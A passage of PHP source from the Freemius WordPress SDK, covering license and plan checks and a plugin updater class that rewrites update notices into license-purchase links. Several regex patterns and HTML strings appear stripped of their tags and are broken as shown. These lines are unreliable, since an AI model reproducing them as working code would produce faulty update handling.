@return bool * * @deprecated Method name is confusing since it's not clear from the name the code will be removed. * @using Alias to is_paying__premium_only() */ function is_paying__fs__() { return $this->is_paying__premium_only(); } /** * Check if user in a trial or have feature enabled license. * * All code wrapped in this statement will be only included in the premium code. * * @author Vova Feldman (@svovaf) * @since 1.1.9 * * @return bool */ function can_use_premium_code__premium_only() { return $this->is_premium() && $this->can_use_premium_code(); } #endregion #---------------------------------------------------------------------------------- #region Trial #---------------------------------------------------------------------------------- /** * Check if the user in a trial. * * @since 1.0.3 * * @return bool */ abstract function is_trial(); /** * Check if trial already utilized. * * @since 1.0.9 * * @return bool */ abstract function is_trial_utilized(); #endregion #---------------------------------------------------------------------------------- #region Plans #---------------------------------------------------------------------------------- /** * Check if the user is on the free plan of the product. * * @since 1.0.4 * * @return bool */ abstract function is_free_plan(); /** * @since 1.0.2 * * @param string $plan Plan name. * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ abstract function is_plan( $plan, $exact = false ); /** * Check if plan based on trial. If not in trial mode, should return false. * * @since 1.0.9 * * @param string $plan Plan name. * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ abstract function is_trial_plan( $plan, $exact = false ); /** * Check if plan matches active license' plan or active trial license' plan. * * @since 1.0.9 * * @param string $plan Plan name. * @param bool $exact If true, looks for exact plan. If false, also check "higher" plans. * * @return bool */ function is_plan_or_trial( $plan, $exact = false ) { return $this->is_plan( $plan, $exact ) || $this->is_trial_plan( $plan, $exact ); } /** * Check if plugin has any paid plans. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ abstract function has_paid_plan(); /** * Check if plugin has any free plan, or is it premium only. * * Note: If no plans configured, assume plugin is free. * * @author Vova Feldman (@svovaf) * @since 1.0.7 * * @return bool */ abstract function has_free_plan(); /** * Check if plugin is premium only (no free plans). * * NOTE: is__premium_only() is very different method, don't get confused. * * @author Vova Feldman (@svovaf) * @since 1.1.9 * * @return bool */ abstract function is_only_premium(); /** * Check if module has a premium code version. * * Serviceware module might be freemium without any * premium code version, where the paid features * are all part of the service. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @return bool */ abstract function has_premium_version(); /** * Check if module has any release on Freemius, * or all plugin's code is on WordPress.org (Serviceware). * * @return bool */ function has_release_on_freemius() { return ! $this->is_org_repo_compliant() || $this->has_premium_version(); } /** * Checks if it's a freemium plugin. * * @author Vova Feldman (@svovaf) * @since 1.1.9 * * @return bool */ function is_freemium() { return $this->has_paid_plan() && $this->has_free_plan(); } /** * Check if module has only one plan. * * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @return bool */ abstract function is_single_plan(); #endregion /** * Check if running payments in sandbox mode. * * @since 1.0.4 * * @return bool */ abstract function is_payments_sandbox(); /** * Check if running test vs. live plugin. * * @since 1.0.5 * * @return bool */ abstract function is_live(); /** * Check if running premium plugin code. * * @since 1.0.5 * * @return bool */ abstract function is_premium(); /** * Get upgrade URL. * * @author Vova Feldman (@svovaf) * @since 1.0.2 * * @param string $period Billing cycle. * * @return string */ abstract function get_upgrade_url( $period = WP_FS__PERIOD_ANNUALLY ); /** * Check if Freemius was first added in a plugin update. * * @author Vova Feldman (@svovaf) * @since 1.1.5 * * @return bool */ function is_plugin_update() { return ! $this->is_plugin_new_install(); } /** * Check if Freemius was part of the plugin when the user installed it first. * * @author Vova Feldman (@svovaf) * @since 1.1.5 * * @return bool */ abstract function is_plugin_new_install(); #---------------------------------------------------------------------------------- #region Marketing #---------------------------------------------------------------------------------- /** * Check if current user purchased any other plugins before. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ abstract function has_purchased_before(); /** * Check if current user classified as an agency. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ abstract function is_agency(); /** * Check if current user classified as a developer. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ abstract function is_developer(); /** * Check if current user classified as a business. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ abstract function is_business(); #endregion }vendor/freemius/includes/class-fs-plugin-updater.php000064400000176165147600365160016700 0ustar00get_id(); if ( ! isset( self::$_INSTANCES[ $key ] ) ) { self::$_INSTANCES[ $key ] = new self( $freemius ); } return self::$_INSTANCES[ $key ]; } #endregion private function __construct( Freemius $freemius ) { $this->_fs = $freemius; $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $freemius->get_slug() . '_updater', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); $this->filters(); } /** * Initiate required filters. * * @author Vova Feldman (@svovaf) * @since 1.0.4 */ private function filters() { // Override request for plugin information add_filter( 'plugins_api', array( &$this, 'plugins_api_filter' ), 10, 3 ); $this->add_transient_filters(); /** * If user has the premium plugin's code but do NOT have an active license, * encourage him to upgrade by showing that there's a new release, but instead * of showing an update link, show upgrade link to the pricing page. * * @since 1.1.6 * */ // WP 2.9+ add_action( "after_plugin_row_{$this->_fs->get_plugin_basename()}", array( &$this, 'catch_plugin_update_row' ), 9 ); add_action( "after_plugin_row_{$this->_fs->get_plugin_basename()}", array( &$this, 'edit_and_echo_plugin_update_row' ), 11, 2 ); if ( ! $this->_fs->has_any_active_valid_license() ) { add_action( 'admin_head', array( &$this, 'catch_plugin_information_dialog_contents' ) ); } if ( ! WP_FS__IS_PRODUCTION_MODE ) { add_filter( 'http_request_host_is_external', array( $this, 'http_request_host_is_external_filter' ), 10, 3 ); } if ( $this->_fs->is_premium() ) { if ( ! $this->is_correct_folder_name() ) { add_filter( 'upgrader_post_install', array( &$this, '_maybe_update_folder_name' ), 10, 3 ); } add_filter( 'upgrader_pre_install', array( 'FS_Plugin_Updater', '_store_basename_for_source_adjustment' ), 1, 2 ); add_filter( 'upgrader_source_selection', array( 'FS_Plugin_Updater', '_maybe_adjust_source_dir' ), 1, 3 ); if ( ! $this->_fs->has_any_active_valid_license() ) { add_filter( 'wp_prepare_themes_for_js', array( &$this, 'change_theme_update_info_html' ), 10, 1 ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.1.4 */ function catch_plugin_information_dialog_contents() { if ( 'plugin-information' !== fs_request_get( 'tab', false ) || $this->_fs->get_slug() !== fs_request_get_raw( 'plugin', false ) ) { return; } add_action( 'admin_footer', array( &$this, 'edit_and_echo_plugin_information_dialog_contents' ), 0, 1 ); ob_start(); } /** * @author Leo Fajardo (@leorw) * @since 2.1.4 * * @param string $hook_suffix */ function edit_and_echo_plugin_information_dialog_contents( $hook_suffix ) { if ( 'plugin-information' !== fs_request_get( 'tab', false ) || $this->_fs->get_slug() !== fs_request_get_raw( 'plugin', false ) ) { return; } $license = $this->_fs->_get_license(); $subscription = ( is_object( $license ) && ! $license->is_lifetime() ) ? $this->_fs->_get_subscription( $license->id ) : null; $contents = ob_get_clean(); $install_or_update_button_id_attribute_pos = strpos( $contents, 'id="plugin_install_from_iframe"' ); if ( false === $install_or_update_button_id_attribute_pos ) { $install_or_update_button_id_attribute_pos = strpos( $contents, 'id="plugin_update_from_iframe"' ); } if ( false !== $install_or_update_button_id_attribute_pos ) { $install_or_update_button_start_pos = strrpos( substr( $contents, 0, $install_or_update_button_id_attribute_pos ), '', $install_or_update_button_id_attribute_pos ) + strlen( '' ) ); /** * The part of the contents without the update button. * * @author Leo Fajardo (@leorw) * @since 2.2.5 */ $modified_contents = substr( $contents, 0, $install_or_update_button_start_pos ); $install_or_update_button = substr( $contents, $install_or_update_button_start_pos, ( $install_or_update_button_end_pos - $install_or_update_button_start_pos ) ); /** * Replace the plugin information dialog's "Install Update Now" button's text and URL. If there's a license, * the text will be "Renew license" and will link to the checkout page with the license's billing cycle * and quota. If there's no license, the text will be "Buy license" and will link to the pricing page. */ $install_or_update_button = preg_replace( '/(\)(.+)(\<\/a>)/is', is_object( $license ) ? sprintf( '$1$4%s$6%s$8', $this->_fs->checkout_url( is_object( $subscription ) ? ( 1 == $subscription->billing_cycle ? WP_FS__PERIOD_MONTHLY : WP_FS__PERIOD_ANNUALLY ) : WP_FS__PERIOD_LIFETIME, false, array( 'licenses' => $license->quota ) ), fs_text_inline( 'Renew license', 'renew-license', $this->_fs->get_slug() ) ) : sprintf( '$1$4%s$6%s$8', $this->_fs->pricing_url(), fs_text_inline( 'Buy license', 'buy-license', $this->_fs->get_slug() ) ), $install_or_update_button ); /** * Append the modified button. * * @author Leo Fajardo (@leorw) * @since 2.2.5 */ $modified_contents .= $install_or_update_button; /** * Append the remaining part of the contents after the update button. * * @author Leo Fajardo (@leorw) * @since 2.2.5 */ $modified_contents .= substr( $contents, $install_or_update_button_end_pos ); $contents = $modified_contents; } echo $contents; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private function add_transient_filters() { if ( $this->_fs->is_premium() && $this->_fs->is_registered() && ! FS_Permission_Manager::instance( $this->_fs )->is_essentials_tracking_allowed() ) { $this->_logger->log( 'Opted out sites cannot receive automatic software updates.' ); return; } add_filter( 'pre_set_site_transient_update_plugins', array( &$this, 'pre_set_site_transient_update_plugins_filter' ) ); add_filter( 'pre_set_site_transient_update_themes', array( &$this, 'pre_set_site_transient_update_plugins_filter' ) ); } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 */ private function remove_transient_filters() { remove_filter( 'pre_set_site_transient_update_plugins', array( &$this, 'pre_set_site_transient_update_plugins_filter' ) ); remove_filter( 'pre_set_site_transient_update_themes', array( &$this, 'pre_set_site_transient_update_plugins_filter' ) ); } /** * Capture plugin update row by turning output buffering. * * @author Vova Feldman (@svovaf) * @since 1.1.6 */ function catch_plugin_update_row() { ob_start(); } /** * Overrides default update message format with "renew your license" message. * * @author Vova Feldman (@svovaf) * @since 1.1.6 * * @param string $file * @param array $plugin_data */ function edit_and_echo_plugin_update_row( $file, $plugin_data ) { $plugin_update_row = ob_get_clean(); $current = get_site_transient( 'update_plugins' ); if ( ! isset( $current->response[ $file ] ) ) { echo $plugin_update_row; return; } $r = $current->response[ $file ]; $has_beta_update = $this->_fs->has_beta_update(); if ( $this->_fs->has_any_active_valid_license() ) { if ( $has_beta_update ) { /** * Turn the "new version" text into "new Beta version". * * Sample input: * There is a new version of Awesome Plugin available. update now. * Output: * There is a new Beta version of Awesome Plugin available. update now. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $plugin_update_row = preg_replace( '/(\)(.+)(\.+\)/is', ( '$1' . sprintf( fs_text_inline( 'There is a %s of %s available.', 'new-version-available', $this->_fs->get_slug() ), $has_beta_update ? fs_text_inline( 'new Beta version', 'new-beta-version', $this->_fs->get_slug() ) : fs_text_inline( 'new version', 'new-version', $this->_fs->get_slug() ), $this->_fs->get_plugin_title() ) . ' ' . '$3' . '$6' ), $plugin_update_row ); } } else { /** * Turn the "new version" text into a link that opens the plugin information dialog when clicked and * make the "View version x details" text link to the checkout page instead of opening the plugin * information dialog when clicked. * * Sample input: * There is a new version of Awesome Plugin available. update now. * Output: * There is a Buy a license now to access version x.y.z security & feature updates, and support. * OR * There is a Buy a license now to access version x.y.z security & feature updates, and support. * * @author Leo Fajardo (@leorw) */ $plugin_update_row = preg_replace( '/(\)(.+)(\.+\)/is', ( '$1' . sprintf( fs_text_inline( 'There is a %s of %s available.', 'new-version-available', $this->_fs->get_slug() ), sprintf( '%s', '$5', $has_beta_update ? fs_text_inline( 'new Beta version', 'new-beta-version', $this->_fs->get_slug() ) : fs_text_inline( 'new version', 'new-version', $this->_fs->get_slug() ) ), $this->_fs->get_plugin_title() ) . ' ' . $this->_fs->version_upgrade_checkout_link( $r->new_version ) . '$6' ), $plugin_update_row ); } if ( $this->_fs->is_plugin() && isset( $r->upgrade_notice ) && strlen( trim( $r->upgrade_notice ) ) > 0 ) { $slug = $this->_fs->get_slug(); $upgrade_notice_html = sprintf( '

                  %3$s %4$s

                  ', $slug, $this->_fs->get_module_type(), fs_text_inline( 'Important Upgrade Notice:', 'upgrade_notice', $slug ), esc_html( $r->upgrade_notice ) ); $plugin_update_row = str_replace( '
                  ', '
                  ' . $upgrade_notice_html, $plugin_update_row ); } echo $plugin_update_row; } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 * * @param array $prepared_themes * * @return array */ function change_theme_update_info_html( $prepared_themes ) { $theme_basename = $this->_fs->get_plugin_basename(); if ( ! isset( $prepared_themes[ $theme_basename ] ) ) { return $prepared_themes; } $themes_update = get_site_transient( 'update_themes' ); if ( ! isset( $themes_update->response[ $theme_basename ] ) || empty( $themes_update->response[ $theme_basename ]['package'] ) ) { return $prepared_themes; } $prepared_themes[ $theme_basename ]['update'] = preg_replace( '/(\)(.+)(\)/is', '$1 $2 ' . $this->_fs->version_upgrade_checkout_link( $themes_update->response[ $theme_basename ]['new_version'] ) . '$4', $prepared_themes[ $theme_basename ]['update'] ); // Set to false to prevent the "Update now" link for the context theme from being shown on the "Themes" page. $prepared_themes[ $theme_basename ]['hasPackage'] = false; return $prepared_themes; } /** * Since WP version 3.6, a new security feature was added that denies access to repository with a local ip. * During development mode we want to be able updating plugin versions via our localhost repository. This * filter white-list all domains including "api.freemius". * * @link http://www.emanueletessore.com/wordpress-download-failed-valid-url-provided/ * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @param bool $allow * @param string $host * @param string $url * * @return bool */ function http_request_host_is_external_filter( $allow, $host, $url ) { return ( false !== strpos( $host, 'freemius' ) ) ? true : $allow; } /** * Check for Updates at the defined API endpoint and modify the update array. * * This function dives into the update api just when WordPress creates its update array, * then adds a custom API call and injects the custom plugin data retrieved from the API. * It is reassembled from parts of the native WordPress plugin update code. * See wp-includes/update.php line 121 for the original wp_update_plugins() function. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @uses FS_Api * * @param object $transient_data Update array build by WordPress. * * @return object Modified update array with custom plugin data. */ function pre_set_site_transient_update_plugins_filter( $transient_data ) { $this->_logger->entrance(); /** * "plugins" or "themes". * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ $module_type = $this->_fs->get_module_type() . 's'; /** * Ensure that we don't mix plugins update info with themes update info. * * @author Leo Fajardo (@leorw) * @since 1.2.2 */ if ( "pre_set_site_transient_update_{$module_type}" !== current_filter() ) { return $transient_data; } if ( empty( $transient_data ) || defined( 'WP_FS__UNINSTALL_MODE' ) ) { return $transient_data; } global $wp_current_filter; $current_plugin_version = $this->_fs->get_plugin_version(); if ( ! empty( $wp_current_filter ) && 'upgrader_process_complete' === $wp_current_filter[0] ) { if ( is_null( $this->_update_details ) || ( is_object( $this->_update_details ) && $this->_update_details->new_version !== $current_plugin_version ) ) { /** * After an update, clear the stored update details and reparse the plugin's main file in order to get * the updated version's information and prevent the previous update information from showing up on the * updates page. * * @author Leo Fajardo (@leorw) * @since 2.3.1 */ $this->_update_details = null; $current_plugin_version = $this->_fs->get_plugin_version( true ); } } if ( ! isset( $this->_update_details ) ) { // Get plugin's newest update. $new_version = $this->_fs->get_update( false, fs_request_get_bool( 'force-check' ), WP_FS__TIME_24_HOURS_IN_SEC / 24, $current_plugin_version ); $this->_update_details = false; if ( is_object( $new_version ) && $this->is_new_version_premium( $new_version ) ) { $this->_logger->log( 'Found newer plugin version ' . $new_version->version ); /** * Cache plugin details locally since set_site_transient( 'update_plugins' ) * called multiple times and the non wp.org plugins are filtered after the * call to .org. * * @since 1.1.8.1 */ $this->_update_details = $this->get_update_details( $new_version ); } } // Alias. $basename = $this->_fs->premium_plugin_basename(); if ( is_object( $this->_update_details ) ) { if ( isset( $transient_data->no_update ) ) { unset( $transient_data->no_update[ $basename ] ); } if ( ! isset( $transient_data->response ) ) { $transient_data->response = array(); } // Add plugin to transient data. $transient_data->response[ $basename ] = $this->_fs->is_plugin() ? $this->_update_details : (array) $this->_update_details; } else { if ( isset( $transient_data->response ) ) { /** * Ensure that there's no update data for the plugin to prevent upgrading the premium version to the latest free version. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ unset( $transient_data->response[ $basename ] ); } if ( ! isset( $transient_data->no_update ) ) { $transient_data->no_update = array(); } /** * Add product to no_update transient data to properly integrate with WP 5.5 auto-updates UI. * * @since 2.4.1 * @link https://make.wordpress.org/core/2020/07/30/recommended-usage-of-the-updates-api-to-support-the-auto-updates-ui-for-plugins-and-themes-in-wordpress-5-5/ */ $transient_data->no_update[ $basename ] = $this->_fs->is_plugin() ? (object) array( 'id' => $basename, 'slug' => $this->_fs->get_slug(), 'plugin' => $basename, 'new_version' => $this->_fs->get_plugin_version(), 'url' => '', 'package' => '', 'icons' => array(), 'banners' => array(), 'banners_rtl' => array(), 'tested' => '', 'requires_php' => '', 'compatibility' => new stdClass(), ) : array( 'theme' => $basename, 'new_version' => $this->_fs->get_plugin_version(), 'url' => '', 'package' => '', 'requires' => '', 'requires_php' => '', ); } $slug = $this->_fs->get_slug(); if ( $this->_fs->is_org_repo_compliant() && $this->_fs->is_freemium() ) { if ( ! isset( $this->_translation_updates ) ) { $this->_translation_updates = array(); $translation_updates = $this->fetch_wp_org_module_translation_updates( $module_type, $slug ); if ( ! empty( $translation_updates ) ) { $this->_translation_updates = $translation_updates; } } if ( ! empty( $this->_translation_updates ) ) { $all_translation_updates = ( isset( $transient_data->translations ) && is_array( $transient_data->translations ) ) ? $transient_data->translations : array(); $current_plugin_translation_updates_map = array(); foreach ( $all_translation_updates as $key => $translation_update ) { if ( $module_type === ( $translation_update['type'] . 's' ) && $slug === $translation_update['slug'] ) { $current_plugin_translation_updates_map[ $translation_update['language'] ] = $translation_update; unset( $all_translation_updates[ $key ] ); } } foreach ( $this->_translation_updates as $translation_update ) { $lang = $translation_update['language']; if ( ! isset( $current_plugin_translation_updates_map[ $lang ] ) || version_compare( $translation_update['version'], $current_plugin_translation_updates_map[ $lang ]['version'], '>' ) ) { $current_plugin_translation_updates_map[ $lang ] = $translation_update; } } $transient_data->translations = array_merge( $all_translation_updates, array_values( $current_plugin_translation_updates_map ) ); } } return $transient_data; } /** * Get module's required data for the updates' mechanism. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_Plugin_Tag $new_version * * @return object */ function get_update_details( FS_Plugin_Tag $new_version ) { $update = new stdClass(); $update->slug = $this->_fs->get_slug(); $update->new_version = $new_version->version; $update->url = WP_FS__ADDRESS; $update->package = $new_version->url; $update->tested = self::get_tested_wp_version( $new_version->tested_up_to_version ); $update->requires = $new_version->requires_platform_version; $update->requires_php = $new_version->requires_programming_language_version; $icon = $this->_fs->get_local_icon_url(); if ( ! empty( $icon ) ) { $update->icons = array( // '1x' => $icon, // '2x' => $icon, 'default' => $icon, ); } if ( $this->_fs->is_premium() ) { $latest_tag = $this->_fs->_fetch_latest_version( $this->_fs->get_id(), false ); if ( isset( $latest_tag->readme ) && isset( $latest_tag->readme->upgrade_notice ) && ! empty( $latest_tag->readme->upgrade_notice ) ) { $update->upgrade_notice = $latest_tag->readme->upgrade_notice; } } $update->{$this->_fs->get_module_type()} = $this->_fs->get_plugin_basename(); return $update; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param FS_Plugin_Tag $new_version * * @return bool */ private function is_new_version_premium( FS_Plugin_Tag $new_version ) { $params = fs_parse_url_params( $new_version->url ); return ( isset( $params['is_premium'] ) && 'true' == $params['is_premium'] ); } /** * Update the updates transient with the module's update information. * * This method is required for multisite environment. * If a module is site activated (not network) and not on the main site, * the module will NOT be executed on the network level, therefore, the * custom updates logic will not be executed as well, so unless we force * the injection of the update into the updates transient, premium updates * will not work. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param \FS_Plugin_Tag $new_version */ function set_update_data( FS_Plugin_Tag $new_version ) { $this->_logger->entrance(); if ( ! $this->is_new_version_premium( $new_version ) ) { return; } $transient_key = "update_{$this->_fs->get_module_type()}s"; $transient_data = get_site_transient( $transient_key ); $transient_data = is_object( $transient_data ) ? $transient_data : new stdClass(); // Alias. $basename = $this->_fs->get_plugin_basename(); $is_plugin = $this->_fs->is_plugin(); if ( ! isset( $transient_data->response ) || ! is_array( $transient_data->response ) ) { $transient_data->response = array(); } else if ( ! empty( $transient_data->response[ $basename ] ) ) { $version = $is_plugin ? ( ! empty( $transient_data->response[ $basename ]->new_version ) ? $transient_data->response[ $basename ]->new_version : null ) : ( ! empty( $transient_data->response[ $basename ]['new_version'] ) ? $transient_data->response[ $basename ]['new_version'] : null ); if ( $version == $new_version->version ) { // The update data is already set. return; } } // Remove the added filters. $this->remove_transient_filters(); $this->_update_details = $this->get_update_details( $new_version ); // Set update data in transient. $transient_data->response[ $basename ] = $is_plugin ? $this->_update_details : (array) $this->_update_details; if ( ! isset( $transient_data->checked ) || ! is_array( $transient_data->checked ) ) { $transient_data->checked = array(); } // Flag the module as if it was already checked. $transient_data->checked[ $basename ] = $this->_fs->get_plugin_version(); $transient_data->last_checked = time(); set_site_transient( $transient_key, $transient_data ); $this->add_transient_filters(); } /** * @author Leo Fajardo (@leorw) * @since 2.0.2 */ function delete_update_data() { $this->_logger->entrance(); $transient_key = "update_{$this->_fs->get_module_type()}s"; $transient_data = get_site_transient( $transient_key ); // Alias $basename = $this->_fs->get_plugin_basename(); if ( ! is_object( $transient_data ) || ! isset( $transient_data->response ) || ! is_array( $transient_data->response ) || empty( $transient_data->response[ $basename ] ) ) { return; } unset( $transient_data->response[ $basename ] ); // Remove the added filters. $this->remove_transient_filters(); set_site_transient( $transient_key, $transient_data ); $this->add_transient_filters(); } /** * Try to fetch plugin's info from .org repository. * * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @param string $action * @param object $args * * @return bool|mixed */ static function _fetch_plugin_info_from_repository( $action, $args ) { $url = $http_url = 'http://api.wordpress.org/plugins/info/1.2/'; $url = add_query_arg( array( 'action' => $action, 'request' => $args, ), $url ); if ( wp_http_supports( array( 'ssl' ) ) ) { $url = set_url_scheme( $url, 'https' ); } // The new endpoint version serves only GET requests. $request = wp_remote_get( $url, array( 'timeout' => 15 ) ); if ( is_wp_error( $request ) ) { return false; } $res = json_decode( wp_remote_retrieve_body( $request ), true ); if ( is_array( $res ) ) { // Object casting is required in order to match the info/1.0 format. We are not decoding directly into an object as we need some fields to remain an array (e.g., $res->sections). $res = (object) $res; } if ( ! is_object( $res ) || isset( $res->error ) ) { return false; } return $res; } /** * Fetches module translation updates from wordpress.org. * * @author Leo Fajardo (@leorw) * @since 2.1.2 * * @param string $module_type * @param string $slug * * @return array|null */ private function fetch_wp_org_module_translation_updates( $module_type, $slug ) { $plugin_data = $this->_fs->get_plugin_data(); $locales = array_values( get_available_languages() ); $locales = apply_filters( "{$module_type}_update_check_locales", $locales ); $locales = array_unique( $locales ); $plugin_basename = $this->_fs->get_plugin_basename(); if ( 'themes' === $module_type ) { $plugin_basename = $slug; } global $wp_version; $request_args = array( 'timeout' => 15, 'body' => array( "{$module_type}" => json_encode( array( "{$module_type}" => array( $plugin_basename => array( 'Name' => trim( str_replace( $this->_fs->get_plugin()->premium_suffix, '', $plugin_data['Name'] ) ), 'Author' => $plugin_data['Author'], ) ) ) ), 'translations' => json_encode( $this->get_installed_translations( $module_type, $slug ) ), 'locale' => json_encode( $locales ) ), 'user-agent' => ( 'WordPress/' . $wp_version . '; ' . home_url( '/' ) ) ); $url = "http://api.wordpress.org/{$module_type}/update-check/1.1/"; if ( $ssl = wp_http_supports( array( 'ssl' ) ) ) { $url = set_url_scheme( $url, 'https' ); } $raw_response = Freemius::safe_remote_post( $url, $request_args, WP_FS__TIME_24_HOURS_IN_SEC, WP_FS__TIME_12_HOURS_IN_SEC, false ); if ( is_wp_error( $raw_response ) ) { return null; } $response = json_decode( wp_remote_retrieve_body( $raw_response ), true ); if ( ! is_array( $response ) ) { return null; } if ( ! isset( $response['translations'] ) || empty( $response['translations'] ) ) { return null; } return $response['translations']; } /** * @author Leo Fajardo (@leorw) * @since 2.1.2 * * @param string $module_type * @param string $slug * * @return array */ private function get_installed_translations( $module_type, $slug ) { if ( function_exists( 'wp_get_installed_translations' ) ) { return wp_get_installed_translations( $module_type ); } $dir = "/{$module_type}"; if ( ! is_dir( WP_LANG_DIR . $dir ) ) return array(); $files = scandir( WP_LANG_DIR . $dir ); if ( ! $files ) return array(); $language_data = array(); foreach ( $files as $file ) { if ( 0 !== strpos( $file, $slug ) ) { continue; } if ( '.' === $file[0] || is_dir( WP_LANG_DIR . "{$dir}/{$file}" ) ) { continue; } if ( substr( $file, -3 ) !== '.po' ) { continue; } if ( ! preg_match( '/(?:(.+)-)?([a-z]{2,3}(?:_[A-Z]{2})?(?:_[a-z0-9]+)?).po/', $file, $match ) ) { continue; } if ( ! in_array( substr( $file, 0, -3 ) . '.mo', $files ) ) { continue; } list( , $textdomain, $language ) = $match; if ( '' === $textdomain ) { $textdomain = 'default'; } $language_data[ $textdomain ][ $language ] = wp_get_pomo_file_data( WP_LANG_DIR . "{$dir}/{$file}" ); } return $language_data; } /** * Updates information on the "View version x.x details" page with custom data. * * @author Vova Feldman (@svovaf) * @since 1.0.4 * * @uses FS_Api * * @param object $data * @param string $action * @param mixed $args * * @return object */ function plugins_api_filter( $data, $action = '', $args = null ) { $this->_logger->entrance(); if ( ( 'plugin_information' !== $action ) || ! isset( $args->slug ) ) { return $data; } $addon = false; $is_addon = false; $addon_version = false; if ( $this->_fs->get_slug() !== $args->slug ) { $addon = $this->_fs->get_addon_by_slug( $args->slug ); if ( ! is_object( $addon ) ) { return $data; } if ( $this->_fs->is_addon_activated( $addon->id ) ) { $addon_version = $this->_fs->get_addon_instance( $addon->id )->get_plugin_version(); } else if ( $this->_fs->is_addon_installed( $addon->id ) ) { $addon_plugin_data = get_plugin_data( ( WP_PLUGIN_DIR . '/' . $this->_fs->get_addon_basename( $addon->id ) ), false, false ); if ( ! empty( $addon_plugin_data ) ) { $addon_version = $addon_plugin_data['Version']; } } $is_addon = true; } $plugin_in_repo = false; if ( ! $is_addon ) { // Try to fetch info from .org repository. $data = self::_fetch_plugin_info_from_repository( $action, $args ); $plugin_in_repo = ( false !== $data ); } if ( ! $plugin_in_repo ) { $data = $args; // Fetch as much as possible info from local files. $plugin_local_data = $this->_fs->get_plugin_data(); $data->name = $plugin_local_data['Name']; $data->author = $plugin_local_data['Author']; $data->sections = array( 'description' => 'Upgrade ' . $plugin_local_data['Name'] . ' to latest.', ); // @todo Store extra plugin info on Freemius or parse readme.txt markup. /*$info = $this->_fs->get_api_site_scope()->call('/information.json'); if ( !isset($info->error) ) { $data = $info; }*/ } $plugin_version = $is_addon ? $addon_version : $this->_fs->get_plugin_version(); // Get plugin's newest update. $new_version = $this->get_latest_download_details( $is_addon ? $addon->id : false, $plugin_version ); if ( ! is_object( $new_version ) || empty( $new_version->version ) ) { $data->version = $plugin_version; } else { if ( $is_addon ) { $data->name = $addon->title . ' ' . $this->_fs->get_text_inline( 'Add-On', 'addon' ); $data->slug = $addon->slug; $data->url = WP_FS__ADDRESS; $data->package = $new_version->url; } if ( ! $plugin_in_repo ) { $data->last_updated = ! is_null( $new_version->updated ) ? $new_version->updated : $new_version->created; $data->requires = $new_version->requires_platform_version; $data->requires_php = $new_version->requires_programming_language_version; $data->tested = $new_version->tested_up_to_version; } $data->version = $new_version->version; $data->download_link = $new_version->url; if ( isset( $new_version->readme ) && is_object( $new_version->readme ) ) { $new_version_readme_data = $new_version->readme; if ( isset( $new_version_readme_data->sections ) ) { $new_version_readme_data->sections = (array) $new_version_readme_data->sections; } else { $new_version_readme_data->sections = array(); } if ( isset( $data->sections ) ) { if ( isset( $data->sections['screenshots'] ) ) { $new_version_readme_data->sections['screenshots'] = $data->sections['screenshots']; } if ( isset( $data->sections['reviews'] ) ) { $new_version_readme_data->sections['reviews'] = $data->sections['reviews']; } } if ( isset( $new_version_readme_data->banners ) ) { $new_version_readme_data->banners = (array) $new_version_readme_data->banners; } else if ( isset( $data->banners ) ) { $new_version_readme_data->banners = $data->banners; } $wp_org_sections = array( 'author', 'author_profile', 'rating', 'ratings', 'num_ratings', 'support_threads', 'support_threads_resolved', 'active_installs', 'added', 'homepage' ); foreach ( $wp_org_sections as $wp_org_section ) { if ( isset( $data->{$wp_org_section} ) ) { $new_version_readme_data->{$wp_org_section} = $data->{$wp_org_section}; } } $data = $new_version_readme_data; } } if ( ! empty( $data->tested ) ) { $data->tested = self::get_tested_wp_version( $data->tested ); } return $data; } /** * @since 2.5.3 If the current WordPress version is a patch of the tested version (e.g., 6.1.2 is a patch of 6.1), then override the tested version with the patch so developers won't need to release a new version just to bump the latest supported WP version. * * @param string|null $tested_up_to * * @return string|null */ private static function get_tested_wp_version( $tested_up_to ) { $current_wp_version = get_bloginfo( 'version' ); return ( ! empty($tested_up_to) && fs_starts_with( $current_wp_version, $tested_up_to . '.' ) ) ? $current_wp_version : $tested_up_to; } /** * @author Vova Feldman (@svovaf) * @since 1.2.1.7 * * @param number|bool $addon_id * @param bool|string $newer_than Since 2.2.1 * @param bool|string $fetch_readme Since 2.2.1 * * @return object */ private function get_latest_download_details( $addon_id = false, $newer_than = false, $fetch_readme = true ) { return $this->_fs->_fetch_latest_version( $addon_id, true, WP_FS__TIME_24_HOURS_IN_SEC, $newer_than, $fetch_readme ); } /** * Checks if a given basename has a matching folder name * with the current context plugin. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @return bool */ private function is_correct_folder_name() { return ( $this->_fs->get_target_folder_name() == trim( dirname( $this->_fs->get_plugin_basename() ), '/\\' ) ); } /** * This is a special after upgrade handler for migrating modules * that didn't use the '-premium' suffix folder structure before * the migration. * * @author Vova Feldman (@svovaf) * @since 1.2.1.6 * * @param bool $response Install response. * @param array $hook_extra Extra arguments passed to hooked filters. * @param array $result Installation result data. * * @return bool */ function _maybe_update_folder_name( $response, $hook_extra, $result ) { $basename = $this->_fs->get_plugin_basename(); if ( true !== $response || empty( $hook_extra ) || empty( $hook_extra['plugin'] ) || $basename !== 